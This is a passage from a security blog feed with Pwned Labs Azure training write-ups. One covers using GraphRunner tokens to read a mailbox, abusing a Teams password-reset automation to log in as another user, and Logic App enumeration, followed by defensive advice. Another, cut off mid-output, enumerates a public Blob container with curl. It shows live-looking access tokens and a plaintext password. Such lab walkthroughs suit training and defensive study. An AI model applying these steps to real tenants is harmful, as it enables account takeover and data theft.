</span></span><span style="display:flex;"><span>Decoded JWT payload<span style="color:#960050;background-color:#1e0010">:</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>aud                 <span style="color:#960050;background-color:#1e0010">:</span> https<span style="color:#960050;background-color:#1e0010">:</span>//graph.microsoft.com
</span></span><span style="display:flex;"><span>iss                 <span style="color:#960050;background-color:#1e0010">:</span> https<span style="color:#960050;background-color:#1e0010">:</span>//sts.windows.net/2590ccef-<span style="color:#ae81ff">687d</span>-493b-ae8d-441cbab63a72/
</span></span><span style="display:flex;"><span>iat                 <span style="color:#960050;background-color:#1e0010">:</span> <span style="color:#ae81ff">1731832452</span>
</span></span><span style="display:flex;"><span>nbf                 <span style="color:#960050;background-color:#1e0010">:</span> <span style="color:#ae81ff">1731832452</span>
</span></span><span style="display:flex;"><span>exp                 <span style="color:#960050;background-color:#1e0010">:</span> <span style="color:#ae81ff">1731836804</span>
</span></span><span style="display:flex;"><span>acct                <span style="color:#960050;background-color:#1e0010">:</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>acr                 <span style="color:#960050;background-color:#1e0010">:</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>aio                 <span style="color:#960050;background-color:#1e0010">:</span> ATQAy/8YAAAAmipunBtmwNViINuIXHU5rAZ0LASFc3GGWl3LHcmIgPgDF1F5D8b5r0eIB/s7u+bG
</span></span><span style="display:flex;"><span>amr                 <span style="color:#960050;background-color:#1e0010">:</span> {pwd}
</span></span><span style="display:flex;"><span>app_displayname     <span style="color:#960050;background-color:#1e0010">:</span> Microsoft Office
</span></span><span style="display:flex;"><span>appid               <span style="color:#960050;background-color:#1e0010">:</span> d3590ed6-52b3-<span style="color:#ae81ff">4102</span>-aeff-aad2292ab01c
</span></span><span style="display:flex;"><span>appidacr            <span style="color:#960050;background-color:#1e0010">:</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>idtyp               <span style="color:#960050;background-color:#1e0010">:</span> user
</span></span><span style="display:flex;"><span>ipaddr              <span style="color:#960050;background-color:#1e0010">:</span> <span style="color:#ae81ff">112.204</span>.167.47
</span></span><span style="display:flex;"><span>name                <span style="color:#960050;background-color:#1e0010">:</span> Ryan Lin
</span></span><span style="display:flex;"><span>oid                 <span style="color:#960050;background-color:#1e0010">:</span> 40677d7c-d381-4d9f-81cb-4985917ff2fa
</span></span><span style="display:flex;"><span>platf               <span style="color:#960050;background-color:#1e0010">:</span> <span style="color:#ae81ff">5</span>
</span></span><span style="display:flex;"><span>puid                <span style="color:#960050;background-color:#1e0010">:</span> 10032003D064DB79
</span></span><span style="display:flex;"><span>rh                  <span style="color:#960050;background-color:#1e0010">:</span> <span style="color:#ae81ff">1</span>.AU4A78yQJX1oO0mujUQcurY6cgMAAAAAAAAAwAAAAAAAAAAOAfVOAA.
</span></span><span style="display:flex;"><span>scp                 <span style="color:#960050;background-color:#1e0010">:</span> AuditLog.Create AuditLog.Read.All Calendar.ReadWrite Calendars.Read.Shared Calendars.ReadWrite Contacts.ReadW
</span></span><span style="display:flex;"><span>                      rite DataLossPreventionPolicy.Evaluate Directory.AccessAsUser.All Directory.Read.All Files.Read Files.Read.Al
</span></span><span style="display:flex;"><span>                      l Files.ReadWrite.All Group.Read.All Group.ReadWrite.All InformationProtectionPolicy.Read Mail.ReadWrite Mail
</span></span><span style="display:flex;"><span>                      .Send Notes.Create Organization.Read.All People.Read People.Read.All Printer.Read.All PrinterShare.ReadBasic.
</span></span><span style="display:flex;"><span>                      All PrintJob.ReadWriteBasic SensitiveInfoType.Detect SensitiveInfoType.Read.All SensitivityLabel.Evaluate Tas
</span></span><span style="display:flex;"><span>                      ks.ReadWrite TeamMember.ReadWrite.All TeamsTab.ReadWriteForChat User.Read.All User.ReadBasic.All User.ReadWri
</span></span><span style="display:flex;"><span>                      te Users.Read
</span></span><span style="display:flex;"><span>sub                 <span style="color:#960050;background-color:#1e0010">:</span> vlgyk0BfEgoeTKY65PuYLNqJNEdmd4JM8L1BA5Tcf2k
</span></span><span style="display:flex;"><span>tenant_region_scope <span style="color:#960050;background-color:#1e0010">:</span> EU
</span></span><span style="display:flex;"><span>tid                 <span style="color:#960050;background-color:#1e0010">:</span> 2590ccef-<span style="color:#ae81ff">687d</span>-493b-ae8d-441cbab63a72
</span></span><span style="display:flex;"><span>unique_name         <span style="color:#960050;background-color:#1e0010">:</span> ryan.lin@megabigtech.com
</span></span><span style="display:flex;"><span>upn                 <span style="color:#960050;background-color:#1e0010">:</span> ryan.lin@megabigtech.com
</span></span><span style="display:flex;"><span>uti                 <span style="color:#960050;background-color:#1e0010">:</span> TpB-S401REu7AYAPG6c7AA
</span></span><span style="display:flex;"><span>ver                 <span style="color:#960050;background-color:#1e0010">:</span> <span style="color:#ae81ff">1.0</span>
</span></span><span style="display:flex;"><span>wids                <span style="color:#960050;background-color:#1e0010">:</span> {b79fbf4d-3ef9-<span style="color:#ae81ff">4689</span>-<span style="color:#ae81ff">8143</span>-76b194e85509}
</span></span><span style="display:flex;"><span>xms_idrel           <span style="color:#960050;background-color:#1e0010">:</span> <span style="color:#ae81ff">24</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>xms_tcdt            <span style="color:#960050;background-color:#1e0010">:</span> <span style="color:#ae81ff">1671311182</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[*] Successful authentication. Access and refresh tokens have been written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)
</span></span><span style="display:flex;"><span>[!] Your access token is set to expire on<span style="color:#960050;background-color:#1e0010">:</span> <span style="color:#ae81ff">11</span>/<span style="color:#ae81ff">17</span>/<span style="color:#ae81ff">2024</span> <span style="color:#ae81ff">17</span><span style="color:#960050;background-color:#1e0010">:</span><span style="color:#ae81ff">46</span><span style="color:#960050;background-color:#1e0010">:</span><span style="color:#ae81ff">44</span>
</span></span></code></pre></div><p>We can query the Users Mailbox using either <code>Get-Inbox -Tokens $token -Userid ryan.lin@megabigtech</code> or <code>Invoke-SearchMailbox -Tokens $tokens -SearchTerm *</code>, but we will spawn <code>GraphRunnerGUI.html</code> in a browser and then copy the access key</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>PS&gt; $tokens.access_token
</span></span><span style="display:flex;"><span>eyJ0eXAiOiJKV1QiLCJub25jZSI6IkZ6RzJJcGsyUEJrOTBZSkJEb1hwSFl1VFU3SXkzRWxYazlxdEVYdzJYcW8iLCJhbGciOiJSUzI1NiIsIng1dCI6Inp4ZWcyV09OcFRrd041R21lWWN1VGR0QzZKMCIsImtpZCI6Inp4ZWcyV09OcFRrd041R21lWWN1VGR0QzZKMCJ9.eyJhdWQiOiJodHRwczovL2dyYXBoLm1pY3Jvc29mdC5jb20iLCJpc3MiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC8yNTkwY2NlZi02ODdkLTQ5M2ItYWU4ZC00NDFjYmFiNjNhNzIvIiwiaWF0IjoxNzMxODMyNDUyLCJuYmYiOjE3MzE4MzI0NTIsImV4cCI6MTczMTgzNjgwNCwiYWNjdCI6MCwiYWNyIjoiMSIsImFpbyI6IkFUUUF5LzhZQUFBQW1pcHVuQnRtd05WaUlOdUlYSFU1ckFaMExBU0ZjM0dHV2wzTEhjbUlnUGdERjFGNUQ4YjVyMGVJQi9zN3UrYkciLCJhbXIiOlsicHdkIl0sImFwcF9kaXNwbGF5bmFtZSI6Ik1pY3Jvc29mdCBPZmZpY2UiLCJhcHBpZCI6ImQzNTkwZWQ2LTUyYjMtNDEwMi1hZWZmLWFhZDIyOTJhYjAxYyIsImFwcGlkYWNyIjoiMCIsImlkdHlwIjoidXNlciIsImlwYWRkciI6IjExMi4yMDQuMTY3LjQ3IiwibmFtZSI6IlJ5YW4gTGluIiwib2lkIjoiNDA2NzdkN2MtZDM4MS00ZDlmLTgxY2ItNDk4NTkxN2ZmMmZhIiwicGxhdGYiOiI1IiwicHVpZCI6IjEwMDMyMDAzRDA2NERCNzkiLCJyaCI6IjEuQVU0QTc4eVFKWDFvTzBtdWpVUWN1clk2Y2dNQUFBQUFBQUFBd0FBQUFBQUFBQUFPQWZWT0FBLiIsInNjcCI6IkF1ZGl0TG9nLkNyZWF0ZSBBdWRpdExvZy5SZWFkLkFsbCBDYWxlbmRhci5SZWFkV3JpdGUgQ2FsZW5kYXJzLlJlYWQuU2hhcmVkIENhbGVuZGFycy5SZWFkV3JpdGUgQ29udGFjdHMuUmVhZFdyaXRlIERhdGFMb3NzUHJldmVudGlvblBvbGljeS5FdmFsdWF0ZSBEaXJlY3RvcnkuQWNjZXNzQXNVc2VyLkFsbCBEaXJlY3RvcnkuUmVhZC5BbGwgRmlsZXMuUmVhZCBGaWxlcy5SZWFkLkFsbCBGaWxlcy5SZWFkV3JpdGUuQWxsIEdyb3VwLlJlYWQuQWxsIEdyb3VwLlJlYWRXcml0ZS5BbGwgSW5mb3JtYXRpb25Qcm90ZWN0aW9uUG9saWN5LlJlYWQgTWFpbC5SZWFkV3JpdGUgTWFpbC5TZW5kIE5vdGVzLkNyZWF0ZSBPcmdhbml6YXRpb24uUmVhZC5BbGwgUGVvcGxlLlJlYWQgUGVvcGxlLlJlYWQuQWxsIFByaW50ZXIuUmVhZC5BbGwgUHJpbnRlclNoYXJlLlJlYWRCYXNpYy5BbGwgUHJpbnRKb2IuUmVhZFdyaXRlQmFzaWMgU2Vuc2l0aXZlSW5mb1R5cGUuRGV0ZWN0IFNlbnNpdGl2ZUluZm9UeXBlLlJlYWQuQWxsIFNlbnNpdGl2aXR5TGFiZWwuRXZhbHVhdGUgVGFza3MuUmVhZFdyaXRlIFRlYW1NZW1iZXIuUmVhZFdyaXRlLkFsbCBUZWFtc1RhYi5SZWFkV3JpdGVGb3JDaGF0IFVzZXIuUmVhZC5BbGwgVXNlci5SZWFkQmFzaWMuQWxsIFVzZXIuUmVhZFdyaXRlIFVzZXJzLlJlYWQiLCJzdWIiOiJ2bGd5azBCZkVnb2VUS1k2NVB1WUxOcUpORWRtZDRKTThMMUJBNVRjZjJrIiwidGVuYW50X3JlZ2lvbl9zY29wZSI6IkVVIiwidGlkIjoiMjU5MGNjZWYtNjg3ZC00OTNiLWFlOGQtNDQxY2JhYjYzYTcyIiwidW5pcXVlX25hbWUiOiJyeWFuLmxpbkBtZWdhYmlndGVjaC5jb20iLCJ1cG4iOiJyeWFuLmxpbkBtZWdhYmlndGVjaC5jb20iLCJ1dGkiOiJUcEItUzQwMVJFdTdBWUFQRzZjN0FBIiwidmVyIjoiMS4wIiwid2lkcyI6WyJiNzlmYmY0ZC0zZWY5LTQ2ODktODE0My03NmIxOTRlODU1MDkiXSwieG1zX2lkcmVsIjoiMjQgMSIsInhtc190Y2R0IjoxNjcxMzExMTgyfQ.nCOx4uMXe-WnsKgj-xGsh2jEJZXCfeJIRtyrWjmIT5blS71fEqiIJawFK_bIYqVqvABLyyoo5_6kkcS2xG2qkD5jPhFpYAWZGOTexDdcGsBQDTTYaGNHjxq_d2mUyuq8Twqj4VSPDmeAgdiOTBfrr6N0oJdFYfn4QtPinSVaz-VydQGjavAcSYi4DGZevTZzOtuQfetAd0Ox5Owsxn61piJOK16QbvZBV5_hVdOL2APs4yWhcNVFGWW9C2gXHHu0lWmrnn__ftBsNcqLGi3hwnCCMnPYZBg34AW92L8OPGx9T2HFo_CHu0Iart-IefHpMfB-IdBGu9HGPPeUHrdkcQ
</span></span></code></pre></div><p><img src="/assets/pwn_20241117164723.png" alt=""></p>
<p>We can then navigate down and see the emails and then click on them individually to open and read the contents</p>
<p><img src="/assets/pwn_20241117164830.png" alt=""></p>
<p>If we click on the email from about Managing Team Passwords, we can see that we have the ability to reset team passwords and the name of the IDAM Manager</p>
<p><img src="/assets/pwn_20241117165034.png" alt=""></p>
<p>There is a link in the email and when we click on that, we are presented with the Team Member Password Reset Guide</p>
<p><img src="/assets/pwn_20241117165510.png" alt=""></p>
<p>As we read through the document, it outlines the process to reset a users password using Microsoft Teams and then the new password will be sent to Discord at the username you provide</p>
<p><img src="/assets/pwn_20241117165825.png" alt=""></p>
<p>We navigate to <a href="https://myapplications.microsoft.com/">https://myapplications.microsoft.com/</a> and sign in and then go to Teams and we will follow the instructions per the guide.</p>
<p><img src="/assets/pwn_20241117171123.png" alt=""></p>
<p><img src="/assets/pwn_20241117171156.png" alt=""></p>
<p>Now that we have reset the password, we can now login as Liana Howe</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ az login -u liana.howe@megabigtech.com -p <span style="color:#e6db74">&#39;.n0dHAb-QXY?&#39;</span>
</span></span><span style="display:flex;"><span>Authentication with username and password in the command line is strongly discouraged. Use one of the recommended authentication methods based on your requirements. For more details, see https://go.microsoft.com/fwlink/?linkid<span style="color:#f92672">=</span><span style="color:#ae81ff">2276314</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;cloudName&#34;</span>: <span style="color:#e6db74">&#34;AzureCloud&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;homeTenantId&#34;</span>: <span style="color:#e6db74">&#34;2590ccef-687d-493b-ae8d-441cbab63a72&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;id&#34;</span>: <span style="color:#e6db74">&#34;ceff06cb-e29d-4486-a3ae-eaaec5689f94&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;isDefault&#34;</span>: true,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;managedByTenants&#34;</span>: <span style="color:#f92672">[]</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;name&#34;</span>: <span style="color:#e6db74">&#34;Microsoft Azure Sponsorship&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;state&#34;</span>: <span style="color:#e6db74">&#34;Enabled&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;tenantDefaultDomain&#34;</span>: <span style="color:#e6db74">&#34;megabigtech.com&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;tenantDisplayName&#34;</span>: <span style="color:#e6db74">&#34;Default Directory&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;tenantId&#34;</span>: <span style="color:#e6db74">&#34;2590ccef-687d-493b-ae8d-441cbab63a72&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;user&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;name&#34;</span>: <span style="color:#e6db74">&#34;liana.howe@megabigtech.com&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;type&#34;</span>: <span style="color:#e6db74">&#34;user&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">]</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ az resource list
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;changedTime&#34;</span>: <span style="color:#e6db74">&#34;2024-10-14T00:46:25.028841+00:00&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;createdTime&#34;</span>: <span style="color:#e6db74">&#34;2024-09-14T10:14:53.530238+00:00&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;extendedLocation&#34;</span>: null,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;id&#34;</span>: <span style="color:#e6db74">&#34;/subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-20/providers/Microsoft.Logic/workflows/teams-bot-password-reset&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;identity&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;principalId&#34;</span>: <span style="color:#e6db74">&#34;d9181ce3-a106-4add-8c2c-4875a3803410&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;tenantId&#34;</span>: <span style="color:#e6db74">&#34;2590ccef-687d-493b-ae8d-441cbab63a72&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;type&#34;</span>: <span style="color:#e6db74">&#34;SystemAssigned&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;userAssignedIdentities&#34;</span>: null
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;kind&#34;</span>: null,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;location&#34;</span>: <span style="color:#e6db74">&#34;eastus&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;managedBy&#34;</span>: null,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;name&#34;</span>: <span style="color:#e6db74">&#34;teams-bot-password-reset&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;plan&#34;</span>: null,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;properties&#34;</span>: null,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;provisioningState&#34;</span>: <span style="color:#e6db74">&#34;Succeeded&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;resourceGroup&#34;</span>: <span style="color:#e6db74">&#34;mbt-rg-20&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;sku&#34;</span>: null,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;tags&#34;</span>: <span style="color:#f92672">{}</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;type&#34;</span>: <span style="color:#e6db74">&#34;Microsoft.Logic/workflows&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">]</span>
</span></span></code></pre></div><p>We run the command <code>az logic workflow list</code> and this shows the content of the low code solution for automation within Azure.  We can filter the output with <code>grep</code> to get the flag</p>
<h2 id="defense">Defense</h2>
<p>There are several weak points in this scenario, but what could have prevented the exploitation chain, where the automation is designed to reset passwords only for direct reports, is for the Logic App to utilize the &lsquo;Office 365 Users&rsquo; connector. This connector allows for retrieving manager information, checking to confirm whether the requester is indeed the manager of the user whose password is being reset. If this condition is not met, the automation should be configured to fail, thereby preventing unauthorized password resets.</p>
<p>For more details on implementing this check, refer to the Microsoft documentation on the &lsquo;Get Manager (v2)&rsquo; operation: <a href="https://learn.microsoft.com/en-us/connectors/office365users/#get-manager-%28v2%29">https://learn.microsoft.com/en-us/connectors/office365users/#get-manager-(v2)</a></p>
]]></content>
        </item>
        
        <item>
            <title>Pwned Labs - Azure Blob Container to Initial Access</title>
            <link>https://www.nephos.guru/posts/2024/azureblobcontainer/</link>
            <pubDate>Sun, 04 Aug 2024 15:22:59 +0800</pubDate>
            
            <guid>https://www.nephos.guru/posts/2024/azureblobcontainer/</guid>
            <description>&lt;p&gt;&lt;a href=&#34;https://pwnedlabs.io/labs/azure-blob-container-to-initial-access&#34;&gt;Pwned Labs - Azure Blob Container to Initial Access&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;scenario&#34;&gt;Scenario&lt;/h2&gt;
&lt;p&gt;Mega Big Tech have adopted a hybrid cloud architecture and continues to use a local on-premise Active Directory domain, as well as the Azure cloud. They are wary of being targeted due to their importance in the tech world, and have asked your team to assess the security of their infrastructure, including cloud services. An interesting URL has been found in some public documentation, and you are tasked with assessing it.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p><a href="https://pwnedlabs.io/labs/azure-blob-container-to-initial-access">Pwned Labs - Azure Blob Container to Initial Access</a></p>
<h2 id="scenario">Scenario</h2>
<p>Mega Big Tech have adopted a hybrid cloud architecture and continues to use a local on-premise Active Directory domain, as well as the Azure cloud. They are wary of being targeted due to their importance in the tech world, and have asked your team to assess the security of their infrastructure, including cloud services. An interesting URL has been found in some public documentation, and you are tasked with assessing it.</p>
<h2 id="learning-outcomes">Learning outcomes</h2>
<ul>
<li>Familiarity with the Azure CLI</li>
<li>Identification and enumeration of Azure Blob Container</li>
<li>Leverage blob previous version functionality to reveal secrets</li>
<li>Understand how this attack chain could have been prevented</li>
</ul>
<h2 id="real-world-context">Real World Context</h2>
<p>There have been numerous examples over the years of data breaches resulting from misconfigured public Azure Blob storage (the Azure equivalent of an S3 bucket). While Azure offers robust security features, the responsibility to secure data in the cloud rests with the account holder.</p>
<h2 id="entry-point">Entry Point</h2>
<p><a href="http://dev.megabigtech.com/$web/index.html">http://dev.megabigtech.com/$web/index.html</a></p>
<hr>
<h2 id="attack">Attack</h2>
<p>We have a URL and when we visit that site, we are presented with the following landing page</p>
<p><img src="/assets/pwn_20240804125255.png" alt=""></p>
<p>If we look at the source code, we can see that this is reference Microsoft Azure Blob storage</p>
<p><img src="/assets/pwn_20240804125556.png" alt=""></p>
<p>We can confirm this by using <code>curl</code> to look at the header replacing the content from the above for the css file with index.html and also the original request and you can see that this has the same <code>Content-MD5</code> hash</p>
<blockquote>
<p>You could also just paste the URL into the browser and will be automatically redirected.</p>
</blockquote>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ curl -I <span style="color:#e6db74">&#39;http://dev.megabigtech.com/$web/index.html&#39;</span>
</span></span><span style="display:flex;"><span>HTTP/1.1 <span style="color:#ae81ff">200</span> OK
</span></span><span style="display:flex;"><span>Content-Length: <span style="color:#ae81ff">782359</span>
</span></span><span style="display:flex;"><span>Content-Type: text/html
</span></span><span style="display:flex;"><span>Content-MD5: JSe+sM+pXGAEFInxDgv4CA<span style="color:#f92672">==</span>
</span></span><span style="display:flex;"><span>Last-Modified: Fri, <span style="color:#ae81ff">20</span> Oct <span style="color:#ae81ff">2023</span> 20:08:20 GMT
</span></span><span style="display:flex;"><span>ETag: 0x8DBD1A84E6455C0
</span></span><span style="display:flex;"><span>Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0
</span></span><span style="display:flex;"><span>x-ms-request-id: 8fd4c212-801e-00cb-692a-e64f6a000000
</span></span><span style="display:flex;"><span>x-ms-version: 2009-09-19
</span></span><span style="display:flex;"><span>x-ms-lease-status: unlocked
</span></span><span style="display:flex;"><span>x-ms-blob-type: BlockBlob
</span></span><span style="display:flex;"><span>Date: Sun, <span style="color:#ae81ff">04</span> Aug <span style="color:#ae81ff">2024</span> 04:58:04 GMT
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ curl -I <span style="color:#e6db74">&#39;https://mbtwebsite.blob.core.windows.net/$web/index.html&#39;</span>
</span></span><span style="display:flex;"><span>HTTP/1.1 <span style="color:#ae81ff">200</span> OK
</span></span><span style="display:flex;"><span>Content-Length: <span style="color:#ae81ff">782359</span>
</span></span><span style="display:flex;"><span>Content-Type: text/html
</span></span><span style="display:flex;"><span>Content-MD5: JSe+sM+pXGAEFInxDgv4CA<span style="color:#f92672">==</span>
</span></span><span style="display:flex;"><span>Last-Modified: Fri, <span style="color:#ae81ff">20</span> Oct <span style="color:#ae81ff">2023</span> 20:08:20 GMT
</span></span><span style="display:flex;"><span>ETag: 0x8DBD1A84E6455C0
</span></span><span style="display:flex;"><span>Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0
</span></span><span style="display:flex;"><span>x-ms-request-id: 6b17a5a3-d01e-00b4-202b-e680f1000000
</span></span><span style="display:flex;"><span>x-ms-version: 2009-09-19
</span></span><span style="display:flex;"><span>x-ms-lease-status: unlocked
</span></span><span style="display:flex;"><span>x-ms-blob-type: BlockBlob
</span></span><span style="display:flex;"><span>Date: Sun, <span style="color:#ae81ff">04</span> Aug <span style="color:#ae81ff">2024</span> 05:00:25 GMT
</span></span></code></pre></div><p>Lets breakdown the relevant components of the URL <code>https://mbtwebsite.blob.core.windows.net/$web/index.html</code></p>
<p><strong>mbtwebsite</strong> : The name of the Azure Storage Account
<strong>blob.core.windows.net</strong> : Azure Blob Storage Service
<strong>$web</strong> : The name of the container hosting the website and it is situated within the storage account
<strong>index.html</strong> : The web page requested</p>
<p>We went to get more information on the container so we look at the REST API documentation <a href="https://learn.microsoft.com/en-us/rest/api/storageservices/operations-on-containers">https://learn.microsoft.com/en-us/rest/api/storageservices/operations-on-containers</a> and will use this to enumerate further.</p>
<p>We start to enumerate and when we run the command <code>curl 'https://mbtwebsite.blob.core.windows.net/$web?restype=container&amp;comp=list'</code> we get a lot of results, so further reading the documentation we can add a delimiter which we will do using <code>/</code> as this will find directories.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ curl -s <span style="color:#e6db74">&#39;https://mbtwebsite.blob.core.windows.net/$web?restype=container&amp;comp=list&amp;delimiter=%2F&#39;</span> | xmllint --format -
</span></span><span style="display:flex;"><span>&lt;?xml version<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;1.0&#34;</span> encoding<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;utf-8&#34;</span>?&gt;
</span></span><span style="display:flex;"><span>&lt;EnumerationResults ContainerName<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;https://mbtwebsite.blob.core.windows.net/</span>$web<span style="color:#e6db74">&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;Delimiter&gt;/&lt;/Delimiter&gt;
</span></span><span style="display:flex;"><span>  &lt;Blobs&gt;
</span></span><span style="display:flex;"><span>    &lt;Blob&gt;
</span></span><span style="display:flex;"><span>      &lt;Name&gt;index.html&lt;/Name&gt;
</span></span><span style="display:flex;"><span>      &lt;Url&gt;https://mbtwebsite.blob.core.windows.net/$web/index.html&lt;/Url&gt;
</span></span><span style="display:flex;"><span>      &lt;Properties&gt;
</span></span><span style="display:flex;"><span>        &lt;Last-Modified&gt;Fri, <span style="color:#ae81ff">20</span> Oct <span style="color:#ae81ff">2023</span> 20:08:20 GMT&lt;/Last-Modified&gt;
</span></span><span style="display:flex;"><span>        &lt;Etag&gt;0x8DBD1A84E6455C0&lt;/Etag&gt;
</span></span><span style="display:flex;"><span>        &lt;Content-Length&gt;782359&lt;/Content-Length&gt;
</span></span><span style="display:flex;"><span>        &lt;Content-Type&gt;text/html&lt;/Content-Type&gt;
</span></span><span style="display:flex;"><span>        &lt;Content-Encoding/&gt;
</span></span><span style="display:flex;"><span>        &lt;Content-Language/&gt;
</span></span><span style="display:flex;"><span>        &lt;Content-MD5&gt;JSe+sM+pXGAEFInxDgv4CA<span style="color:#f92672">==</span>&lt;/Content-MD5&gt;
</span></span><span style="display:flex;"><span>        &lt;Cache-Control/&gt;
</span></span><span style="display:flex;"><span>        &lt;BlobType&gt;BlockBlob&lt;/BlobType&gt;
</span></span><span style="display:flex;"><span>        &lt;LeaseStatus&gt;unlocked&lt;/LeaseStatus&gt;
</span></span><span style="display:flex;"><span>      &lt;/Properties&gt;
</span></span><span style="display:flex;"><span>    &lt;/Blob&gt;
</span></span><span style="display:flex;"><span>    &lt;BlobPrefix&gt;
</span></span><span style="display:flex;"><span>      &lt;Name&gt;static/&lt;/Name&gt;
</span></span><span style="display:flex;"><span>    &lt;/BlobPrefix&gt;
</span></span><span style="display:flex;"><span>  &lt;/Blobs&gt;
</span></span><span style="display:flex;"><span>  &lt;NextMarker/&gt;
</span></span><span style="display:flex;"><span>&lt;/EnumerationResults&gt;
</span></span></code></pre></div><p>This is nothing new as we saw that in the source code earlier, so we will continue to enumerate.  Looking through the API requests for containers, there is an option to Restore Container, which indicates that there must be a way to take a snapshot and thus, there are versions.  We look at the URI parameters for <a href="https://learn.microsoft.com/en-us/rest/api/storageservices/list-blobs?tabs=microsoft-entra-id">List Blobs</a> and we can see that there is an <code>include=</code> that has this option.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ curl -s <span style="color:#e6db74">&#39;https://mbtwebsite.blob.core.windows.net/$web?restype=container&amp;comp=list&amp;include=versions&#39;</span> | xmllint --format -
</span></span><span style="display:flex;"><span>&lt;?xml version<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;1.0&#34;</span> encoding<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;utf-8&#34;</span>?&gt;
</span></span><span style="display:flex;"><span>&lt;Error&gt;
</span></span><span style="display:flex;"><span>  &lt;Code&gt;InvalidQueryParameterValue&lt;/Code&gt;
